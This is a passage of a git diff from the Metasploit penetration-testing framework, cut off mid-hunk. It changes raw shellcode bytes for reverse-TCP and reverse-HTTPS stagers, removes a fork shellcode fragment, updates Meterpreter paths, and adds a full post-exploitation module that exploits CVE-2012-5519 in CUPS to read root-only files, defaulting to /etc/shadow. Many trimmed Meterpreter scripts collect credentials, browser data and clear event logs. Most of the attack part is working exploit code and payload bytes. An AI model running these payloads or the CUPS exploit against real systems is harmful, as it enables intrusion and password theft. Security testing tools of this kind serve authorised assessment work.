b/modules/payloads/stagers/android/reverse_tcp.rb @@ -74,7 +74,8 @@ module Metasploit3 # requirement. You can not upload an application if it is signed # with a key whose validity expires before that date. # """ - cert.not_after = cert.not_before + 3600*24*365*20 # 20 years + # The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC + cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 )) jar.sign(key, cert, [cert]) diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index d7634ea667..bc53d25209 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -21,20 +21,21 @@ module Metasploit3 'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)', 'Author' => [ 'hdm', # original 32-bit implementation - 'agix' # x64 rewrite + 'agix', # x64 rewrite + 'rwincey' # x64 alignment fix ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86_64, 'Handler' => Msf::Handler::ReverseHttps, 'Convention' => 'sockrdi https', - 'Stager' => + 'Stager' => { 'Offsets' => { # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 282, 'v' ], # Not a typo, really little endian + 'LPORT' => [286, 'v'], # Not a typo, really little endian }, 'Payload' => "\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" + @@ -50,21 +51,34 @@ module Metasploit3 "\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" + "\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" + "\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" + - "\xFF\xFF\x5D\x49\xBE\x77\x69\x6E\x69\x6E\x65\x74\x00\x41\x56\x49" + + "\xFF\xFF\x5D" + + "\x6A\x00" + #alignment + "\x49\xBE\x77\x69\x6E\x69\x6E\x65\x74\x00\x41\x56\x49" + "\x89\xE6\x4C\x89\xF1\x49\xBA\x4C\x77\x26\x07\x00\x00\x00\x00\xFF" + - "\xD5\x6A\x00\x48\x89\xE1\x48\x31\xD2\x4D\x31\xC0\x4D\x31\xC9\x41" + - "\x50\x41\x50\x49\xBA\x3A\x56\x79\xA7\x00\x00\x00\x00\xFF\xD5\xE9" + - "\x9B\x00\x00\x00\x5A\x48\x89\xC1\x49\xB8\x5C\x11\x00\x00\x00\x00" + + "\xD5" + + "\x6A\x00" + #alignment + "\x6A\x00\x48\x89\xE1\x48\x31\xD2\x4D\x31\xC0\x4D\x31\xC9\x41" + + "\x50\x41\x50\x49\xBA\x3A\x56\x79\xA7\x00\x00\x00\x00\xFF\xD5" + + "\xE9\x9E\x00\x00\x00" + #updated jump offset + "\x5A\x48\x89\xC1\x49\xB8\x5C\x11\x00\x00\x00\x00" + "\x00\x00\x4D\x31\xC9\x41\x51\x41\x51\x6A\x03\x41\x51\x49\xBA\x57" + - "\x89\x9F\xC6\x00\x00\x00\x00\xFF\xD5\xEB\x79\x48\x89\xC1\x48\x31" + + "\x89\x9F\xC6\x00\x00\x00\x00\xFF\xD5" + + "\xEB\x7C" + #updated jump offset + "\x48\x89\xC1\x48\x31" + "\xD2\x41\x58\x4D\x31\xC9\x52\x68\x00\x32\xA0\x84\x52\x52\x49\xBA" + "\xEB\x55\x2E\x3B\x00\x00\x00\x00\xFF\xD5\x48\x89\xC6\x6A\x0A\x5F" + - "\x48\x89\xF1\x48\xBA\x1F\x00\x00\x00\x00\x00\x00\x00\x68\x80\x33" + + "\x48\x89\xF1\x48\xBA\x1F\x00\x00\x00\x00\x00\x00\x00" + + "\x6A\x00" + #alignment + "\x68\x80\x33" + "\x00\x00\x49\x89\xE0\x49\xB9\x04\x00\x00\x00\x00\x00\x00\x00\x49" + "\xBA\x75\x46\x9E\x86\x00\x00\x00\x00\xFF\xD5\x48\x89\xF1\x48\x31" + - "\xD2\x4D\x31\xC0\x4D\x31\xC9\x52\x49\xBA\x2D\x06\x18\x7B\x00\x00" + - "\x00\x00\xFF\xD5\x85\xC0\x75\x24\x48\xFF\xCF\x74\x13\xEB\xB1\xE9" + - "\x81\x00\x00\x00\xE8\x82\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00" + + "\xD2\x4D\x31\xC0\x4D\x31\xC9" + + "\x52\x52" + #updated alignment (extra push edx) + "\x49\xBA\x2D\x06\x18\x7B\x00\x00" + + "\x00\x00\xFF\xD5\x85\xC0\x75\x24\x48\xFF\xCF\x74\x13\xEB\xB1" + + "\xE9\x81\x00\x00\x00"+ + "\xE8\x7F\xFF\xFF\xFF" + #updated jump offset + "\x2F\x31\x32\x33\x34\x35\x00" + "\x49\xBE\xF0\xB5\xA2\x56\x00\x00\x00\x00\xFF\xD5\x48\x31\xC9\x48" + "\xBA\x00\x00\x40\x00\x00\x00\x00\x00\x49\xB8\x00\x10\x00\x00\x00" + "\x00\x00\x00\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xBA\x58" + @@ -72,9 +86,10 @@ module Metasploit3 "\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" + "\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" + "\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" + - "\x75\xCE\x58\x58\xC3\xE8\xDA\xFE\xFF\xFF" + "\x75\xCE\x58\x58\xC3" + + "\xE8\xD7\xFE\xFF\xFF" #updated jump offset } - )) + )) end # diff --git a/modules/payloads/stages/linux/x64/shell.rb b/modules/payloads/stages/linux/x64/shell.rb index da9d9af976..b0983f2b89 100644 --- a/modules/payloads/stages/linux/x64/shell.rb +++ b/modules/payloads/stages/linux/x64/shell.rb @@ -11,6 +11,7 @@ require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 + include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index d385d3d13b..92d01194c1 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -24,7 +24,6 @@ module Metasploit3 'Session' => Msf::Sessions::Meterpreter_x86_Linux)) register_options([ - OptBool.new('PrependFork', [ false, "Add a fork() / exit_group() (for parent) code" ]), OptInt.new('DebugOptions', [ false, "Debugging options for POSIX meterpreter", 0 ]) ], self.class) end @@ -71,21 +70,6 @@ module Metasploit3 midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp - if(datastore['PrependFork']) - # fork() / parent does exit() - - # If the target process is threaded, this means the thread - # will exit. exit_group() will try to close the process down - # completely.. and if we do that, it may not be reaped - # correctly. - # - # Plus, depending on the vuln, we might get multiple shots at - # owning a finite amount of threads. - - midstager << - "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" - end - midstager << "\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" + "\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" + diff --git a/modules/payloads/stages/linux/x86/shell.rb b/modules/payloads/stages/linux/x86/shell.rb index 05ce4810a2..0f90ab7c12 100644 --- a/modules/payloads/stages/linux/x86/shell.rb +++ b/modules/payloads/stages/linux/x86/shell.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 - + include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 868395516f..d94e381e19 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -8,7 +8,9 @@ require 'msf/core' require 'msf/core/payload/windows/reflectivedllinject' +require 'msf/core/payload/windows/x64/reflectivedllinject' require 'msf/base/sessions/meterpreter_x86_win' +require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' ### @@ -39,7 +41,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.install_root, "data", "meterpreter", "metsrv.dll") + File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") end end diff --git a/modules/payloads/stages/windows/patchupmeterpreter.rb b/modules/payloads/stages/windows/patchupmeterpreter.rb index c3f64723c7..996b2537cf 100644 --- a/modules/payloads/stages/windows/patchupmeterpreter.rb +++ b/modules/payloads/stages/windows/patchupmeterpreter.rb @@ -43,7 +43,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.install_root, "data", "meterpreter", "metsrv.dll") + File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") end end diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index 006079fbb5..0a15a83174 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -36,7 +36,7 @@ module Metasploit3 end def library_path - File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.x64.dll" ) + File.join( Msf::Config.data_directory, "meterpreter", "metsrv.x64.dll" ) end end diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb new file mode 100644 index 0000000000..cbf242354c --- /dev/null +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -0,0 +1,172 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/common' +require 'msf/core/post/file' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Common + + LP_GROUPS = ['lpadmin', '_lpadmin'] + + attr_accessor :web_server_was_disabled, :error_log_was_reset + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'CUPS 1.6.1 Root File Read', + 'Description' => %q{ + This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system. + CUPS allows members of the lpadmin group to make changes to the cupsd.conf + configuration, which can specify an Error Log path. When the user visits the + Error Log page in the web interface, the cupsd daemon (running with setuid root) + reads the Error Log path and echoes it as plaintext. + + This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4 + as long as the session is in the lpadmin group. + + Warning: if the user has set up a custom path to the CUPS error log, + this module might fail to reset that path correctly. You can specify + a custom error log path with the ERROR_LOG datastore option. + }, + 'References' => + [ + ['CVE', '2012-5519'], + ['OSVDB', '87635'], + ['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791'] + ], + 'License' => MSF_LICENSE, + 'Author' => + [ + "Jann Horn", # discovery + "joev " # metasploit module + ], + 'DisclosureDate' => 'Nov 20 2012', + 'Platform' => ['osx', 'linux'] + })) + register_options([ + OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]), + OptString.new("ERROR_LOG", + [true, "The original path to the CUPS error log", '/var/log/cups/error_log'] + ) + ], self.class) + end + + def check_exploitability + user = cmd_exec("whoami") + user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/) + if (user_groups & LP_GROUPS).empty? + print_error "User not in lpadmin group." + return Msf::Exploit::CheckCode::Safe + else + print_good "User in lpadmin group, continuing..." + end + + if ctl_path.blank? + print_error "cupsctl binary not found in $PATH" + return Msf::Exploit::CheckCode::Safe + else + print_good "cupsctl binary found in $PATH" + end + + nc_path = whereis("nc") + if nc_path.nil? or nc_path.blank? + print_error "Could not find nc executable" + return Msf::Exploit::CheckCode::Unknown + else + print_good "nc binary found in $PATH" + end + + config_path = whereis("cups-config") + config_vn = nil + + if config_path.nil? or config_path.blank? + # cups-config not present, ask the web interface what vn it is + output = get_request('/') + if output =~ /title.*CUPS\s+([\d\.]+)/i + config_vn = $1.strip + end + else + config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed + end + + if config_vn.nil? + print_error "Could not determine CUPS version." + return Msf::Exploit::CheckCode::Unknown + end + + print_status "Found CUPS #{config_vn}" + + config_parts = config_vn.split('.') + if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 + Msf::Exploit::CheckCode::Vulnerable + else + Msf::Exploit::CheckCode::Safe + end + end + + def run + if check_exploitability == Msf::Exploit::CheckCode::Safe + print_error "Target machine not vulnerable, bailing." + return + end + + defaults = cmd_exec(ctl_path) + @web_server_was_disabled = defaults =~ /^WebInterface=no$/i + + # first we set the error log to the path intended + cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}") + cmd_exec("#{ctl_path} WebInterface=yes") + @error_log_was_reset = true + + # now we go grab it from the ErrorLog route + file = strip_http_headers(get_request('/admin/log/error_log')) + + # and store as loot + f = File.basename(datastore['FILE']) + loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f) + print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}") + end + + def cleanup + print_status "Cleaning up..." + cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled + cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset + super + end + + private + + def prev_error_log_path; datastore['ERROR_LOG']; end + def ctl_path; @ctl_path ||= whereis("cupsctl"); end + def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end + + def whereis(exe) + line = cmd_exec("whereis #{exe}") + if line =~ /^\S+:\s*(\S*)/i + $1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl" + else + line # on osx it just returns '/usr/sbin/cupsctl' + end + end + + def get_request(uri) + output = perform_request(uri, 'nc -j localhost 631') + + if output =~ /^usage: nc/ + output = perform_request(uri, 'nc localhost 631') + end + + output + end + + def perform_request(uri, nc_str) + # osx requires 3 newlines! + cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' ')) + end +end diff --git a/modules/post/windows/capture/lockout_keylogger.rb b/modules/post/windows/capture/lockout_keylogger.rb index c135a1abea..ab37775a4d 100644 --- a/modules/post/windows/capture/lockout_keylogger.rb +++ b/modules/post/windows/capture/lockout_keylogger.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger', 'Description' => %q{ This module migrates and logs Microsoft Windows user's passwords via - Winlogon.exe. Using idle time and natural system changes to give a + Winlogon.exe using idle time and natural system changes to give a false sense of security to the user.}, 'License' => MSF_LICENSE, 'Author' => [ 'mubix', 'cg' ], diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index d18e8fb489..06801f4f15 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -9,6 +9,8 @@ require 'msf/core' class Metasploit3 < Msf::Post + include Msf::Post::Windows::Accounts + def initialize(info={}) super(update_info(info, 'Name' => "Windows Gather Directory Permissions Enumeration", @@ -37,60 +39,6 @@ class Metasploit3 < Msf::Post ], self.class) end - def get_imperstoken - adv = session.railgun.advapi32 - tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " - tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" - tok_all << " | TOKEN_ADJUST_DEFAULT" - - #get impersonation token handle it["DuplicateTokenhandle"] carries this value - #p = kern.GetCurrentProcess() #get handle to current process - pid = session.sys.process.open.pid - pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) - pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token - it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token - if it["return"] #if it fails return 0 for error handling - return it["DuplicateTokenHandle"] - else - return 0 - end - end - - def check_dir(dir, token) - # If path doesn't exist, do not continue - begin - session.fs.dir.entries(dir) - rescue => e - vprint_error("#{e.message}: #{dir}") - return nil - end - - adv = session.railgun.advapi32 - si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" - result = "" - - #define generic mapping structure - gen_map = [0,0,0,0] - gen_map = gen_map.pack("L") - - #get Security Descriptor for the directory - f = adv.GetFileSecurityA(dir, si, 20, 20, 4) - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) - sd = f["pSecurityDescriptor"] - - #check for write access, called once to get buffer size - a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) - len = a["PrivilegeSetLength"] - - r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) - if !r["return"] then return nil end - if r["GrantedAccess"] > 0 then result << "R" end - - w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) - if !w["return"] then return nil end - if w["GrantedAccess"] > 0 then result << "W" end - end - def enum_subdirs(perm_filter, dpath, maxdepth, token) filter = datastore['FILTER'] filter = nil if datastore['FILTER'] == 'NA' @@ -107,7 +55,7 @@ class Metasploit3 < Msf::Post next if d =~ /^(\.|\.\.)$/ realpath = dpath + '\\' + d if session.fs.file.stat(realpath).directory? - perm = check_dir(realpath, token) + perm = check_dir_perms(realpath, token) if perm_filter and perm and perm.include?(perm_filter) print_status(perm + "\t" + realpath) end @@ -141,7 +89,7 @@ class Metasploit3 < Msf::Post t = get_imperstoken() rescue ::Exception => e # Failure due to timeout, access denied, etc. - t = 0 + t = nil vprint_error("Error #{e.message} while using get_imperstoken()") vprint_error(e.backtrace) end @@ -155,7 +103,7 @@ class Metasploit3 < Msf::Post print_status("Checking directory permissions from: #{path}") - perm = check_dir(path, token) + perm = check_dir_perms(path, token) if not perm.nil? # Show the permission of the parent directory if perm_filter and perm.include?(perm_filter) @@ -185,7 +133,7 @@ class Metasploit3 < Msf::Post t = get_token - if t == 0 + unless t print_error("Getting impersonation token failed") else print_status("Got token: #{t.to_s}...") diff --git a/modules/post/windows/manage/persistence.rb b/modules/post/windows/manage/persistence.rb index e917a0b201..60b3f14f6e 100644 --- a/modules/post/windows/manage/persistence.rb +++ b/modules/post/windows/manage/persistence.rb @@ -9,6 +9,9 @@ require 'msf/core' require 'rex' class Metasploit3 < Msf::Post + require 'msf/core/module/deprecated' + include Msf::Module::Deprecated + deprecated Date.new(2013, 11, 12), 'exploit/windows/local/persistence' include Msf::Post::File include Msf::Post::Windows::Priv diff --git a/scripts/meterpreter/arp_scanner.rb b/scripts/meterpreter/arp_scanner.rb index cab09e016e..4abe944c82 100644 --- a/scripts/meterpreter/arp_scanner.rb +++ b/scripts/meterpreter/arp_scanner.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -22,7 +20,7 @@ def enum_int print_status("\t#{i.netmask}") print_status() end - + end end diff --git a/scripts/meterpreter/autoroute.rb b/scripts/meterpreter/autoroute.rb index 8fa695edd7..88602113e9 100644 --- a/scripts/meterpreter/autoroute.rb +++ b/scripts/meterpreter/autoroute.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # # Meterpreter script for setting up a route from within a # Meterpreter session, without having to background the diff --git a/scripts/meterpreter/checkvm.rb b/scripts/meterpreter/checkvm.rb index 8f5b68c8cb..d968f9a184 100644 --- a/scripts/meterpreter/checkvm.rb +++ b/scripts/meterpreter/checkvm.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Meterpreter script for detecting if target host is a Virtual Machine # Provided by Carlos Perez at carlos_perez[at]darkoperator.com # Version: 0.2.0 diff --git a/scripts/meterpreter/credcollect.rb b/scripts/meterpreter/credcollect.rb index 5cf971a954..4ba4dd1a7b 100644 --- a/scripts/meterpreter/credcollect.rb +++ b/scripts/meterpreter/credcollect.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # credcollect - tebo[at]attackresearch.com opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/domain_list_gen.rb b/scripts/meterpreter/domain_list_gen.rb index 4ca6eaf5be..3621d02d05 100644 --- a/scripts/meterpreter/domain_list_gen.rb +++ b/scripts/meterpreter/domain_list_gen.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- #Options and Option Parsing diff --git a/scripts/meterpreter/dumplinks.rb b/scripts/meterpreter/dumplinks.rb index c4dc95b150..58ba559caf 100644 --- a/scripts/meterpreter/dumplinks.rb +++ b/scripts/meterpreter/dumplinks.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: davehull at dph_msf@trustedsignal.com #------------------------------------------------------------------------------- diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb index fb99634e8d..e45c7fbc1e 100644 --- a/scripts/meterpreter/duplicate.rb +++ b/scripts/meterpreter/duplicate.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Scriptjunkie # Uses a meterpreter session to spawn a new meterpreter session in a different process. # A new process allows the session to take "risky" actions that might get the process killed by diff --git a/scripts/meterpreter/enum_chrome.rb b/scripts/meterpreter/enum_chrome.rb index 7c61d98db0..1c3fbfd35f 100644 --- a/scripts/meterpreter/enum_chrome.rb +++ b/scripts/meterpreter/enum_chrome.rb @@ -1,5 +1,3 @@ -#$Id$ -#$Revision$ # # Script to extract data from a chrome installation. # diff --git a/scripts/meterpreter/enum_firefox.rb b/scripts/meterpreter/enum_firefox.rb index b38e44ce33..b76630db7e 100644 --- a/scripts/meterpreter/enum_firefox.rb +++ b/scripts/meterpreter/enum_firefox.rb @@ -1,6 +1,4 @@ # -# $Id: enum_firefox.rb 9770 2010-07-10 20:00:32Z darkoperator $ -# $Revision: $ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -34,7 +32,7 @@ def frfxplacesget(path,usrnm) fullpath = path + '\\' + x if @client.fs.file.stat(fullpath).directory? frfxplacesget(fullpath,usrnm) - elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i + elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i dst = x dst = @logs + ::File::Separator + usrnm + dst print_status("\tDownloading Firefox Database file #{x} to '#{dst}'") diff --git a/scripts/meterpreter/enum_logged_on_users.rb b/scripts/meterpreter/enum_logged_on_users.rb index eb263c23ad..d38d35e240 100644 --- a/scripts/meterpreter/enum_logged_on_users.rb +++ b/scripts/meterpreter/enum_logged_on_users.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: 9771 $ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/enum_powershell_env.rb b/scripts/meterpreter/enum_powershell_env.rb index 3066630da0..613b4923a0 100644 --- a/scripts/meterpreter/enum_powershell_env.rb +++ b/scripts/meterpreter/enum_powershell_env.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: $ #Meterpreter script for enumerating Microsoft Powershell settings. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com @client = client @@ -116,7 +114,7 @@ def enum_powershell end end - + end end if client.platform =~ /win32|win64/ diff --git a/scripts/meterpreter/enum_putty.rb b/scripts/meterpreter/enum_putty.rb index 76e7994e63..886dac8eed 100644 --- a/scripts/meterpreter/enum_putty.rb +++ b/scripts/meterpreter/enum_putty.rb @@ -1,10 +1,7 @@ -# $Id$ -# $Revision: $ # # Meterpreter script for enumerating putty connections # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com # -# $Revision$ @client = client #Options and Option Parsing opts = Rex::Parser::Arguments.new( @@ -22,7 +19,7 @@ opts.parse(args) { |opt, idx, val| def hkcu_base key_base = [] - + if not is_system? key_base << "HKCU" else diff --git a/scripts/meterpreter/enum_shares.rb b/scripts/meterpreter/enum_shares.rb index 139a9afed1..9d49918dd8 100644 --- a/scripts/meterpreter/enum_shares.rb +++ b/scripts/meterpreter/enum_shares.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -76,7 +74,7 @@ if client.platform =~ /win32|64/ # Enumerate shares being offered enum_conf_shares() - + if not is_system? mount_history = enum_recent_mounts("HKEY_CURRENT_USER") run_history = enum_run_unc("HKEY_CURRENT_USER") diff --git a/scripts/meterpreter/enum_vmware.rb b/scripts/meterpreter/enum_vmware.rb index 9fef542251..825f5df0e4 100644 --- a/scripts/meterpreter/enum_vmware.rb +++ b/scripts/meterpreter/enum_vmware.rb @@ -1,6 +1,3 @@ -# $Id: $ -# $Revision$ - # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -102,7 +99,7 @@ def enum_viclient end end end - + if not is_system? recentconns = registry_getvaldata("HKCU\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") print_status("Recent VI Client Connections:") @@ -116,7 +113,7 @@ def enum_viclient ssl_key = registry_getvaldata("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") end - + end else user_sid = [] @@ -283,7 +280,7 @@ def enum_vmwarewrk end end fav_file.each_line do |l| - + if l =~ /config/ print_status("\tConfiguration File: #{l.scan(/vmlist\d*.config \= (\".*\")/)}") end diff --git a/scripts/meterpreter/event_manager.rb b/scripts/meterpreter/event_manager.rb index 21d7f3bdf7..9ddcd85a05 100644 --- a/scripts/meterpreter/event_manager.rb +++ b/scripts/meterpreter/event_manager.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -48,7 +46,7 @@ def get_log_details logs_detail = Array.new eventlog_list.each do |log_name| - + # Create a hash to store the log info in (and throw default info in) log_detail = Hash.new log_detail[:name] = log_name @@ -62,11 +60,11 @@ def get_log_details else key = "#{key}eventlog" end - + begin unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize") - + # Open the event log eventlog = @client.sys.eventlog.open(log_name) log_detail[:num_of_records] = eventlog.length @@ -74,10 +72,10 @@ def get_log_details log_detail[:num_of_records] = "Access Denied" end - + logs_detail << log_detail end - + return logs_detail end @@ -95,13 +93,13 @@ def print_log_details "Maximum Size", "Records" ]) - + eventlog_details = get_log_details eventlog_details.each do |log_detail| tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]] end - + print_line("\n" + tbl.to_s + "\n") end @@ -135,7 +133,7 @@ def list_logs(eventlog_name,filter,filter_string,logs,local_log,sup_print) print_error("Failed to Open Event Log #{eventlog_name}") raise Rex::Script::Completed end - + if local_log log_file = File.join(logs, "#{eventlog_name}.csv") print_good("CSV File saved to #{log_file}") @@ -152,7 +150,7 @@ def clear_logs(log_name=nil) else log_names << log_name end - + log_names.each do |name| begin print_status("Clearing #{name}") @@ -163,7 +161,7 @@ def clear_logs(log_name=nil) print_error("Failed to Clear #{name}, Access Denied") end end - + return log_names end @@ -221,7 +219,7 @@ if local_log else logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', Rex::FileUtils.clean_path(host + filenameinfo) ) end - + ::FileUtils.mkdir_p(logs) end @@ -242,5 +240,5 @@ if clear_logs print_status eventlog_name + ": " clear_logs(eventlog_name) end - end + end end diff --git a/scripts/meterpreter/file_collector.rb b/scripts/meterpreter/file_collector.rb index 83749aa94b..30e8cb40b2 100644 --- a/scripts/meterpreter/file_collector.rb +++ b/scripts/meterpreter/file_collector.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- @client = client diff --git a/scripts/meterpreter/get_application_list.rb b/scripts/meterpreter/get_application_list.rb index 354442a228..bdcd805351 100644 --- a/scripts/meterpreter/get_application_list.rb +++ b/scripts/meterpreter/get_application_list.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: $ # Meterpreter script for listing installed applications and their version. # Provided: carlos_perez[at]darkoperator[dot]com @@ -54,7 +52,7 @@ opts.parse(args) { |opt, idx, val| print_line "Meterpreter Script for extracting a list installed applications and their version." print_line(opts.usage) raise Rex::Script::Completed - + end } if client.platform =~ /win32|win64/ diff --git a/scripts/meterpreter/get_env.rb b/scripts/meterpreter/get_env.rb index a255c86bd3..5bc85bf89e 100644 --- a/scripts/meterpreter/get_env.rb +++ b/scripts/meterpreter/get_env.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: $ #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/get_filezilla_creds.rb b/scripts/meterpreter/get_filezilla_creds.rb index f8213c1ee2..2944f6018e 100644 --- a/scripts/meterpreter/get_filezilla_creds.rb +++ b/scripts/meterpreter/get_filezilla_creds.rb @@ 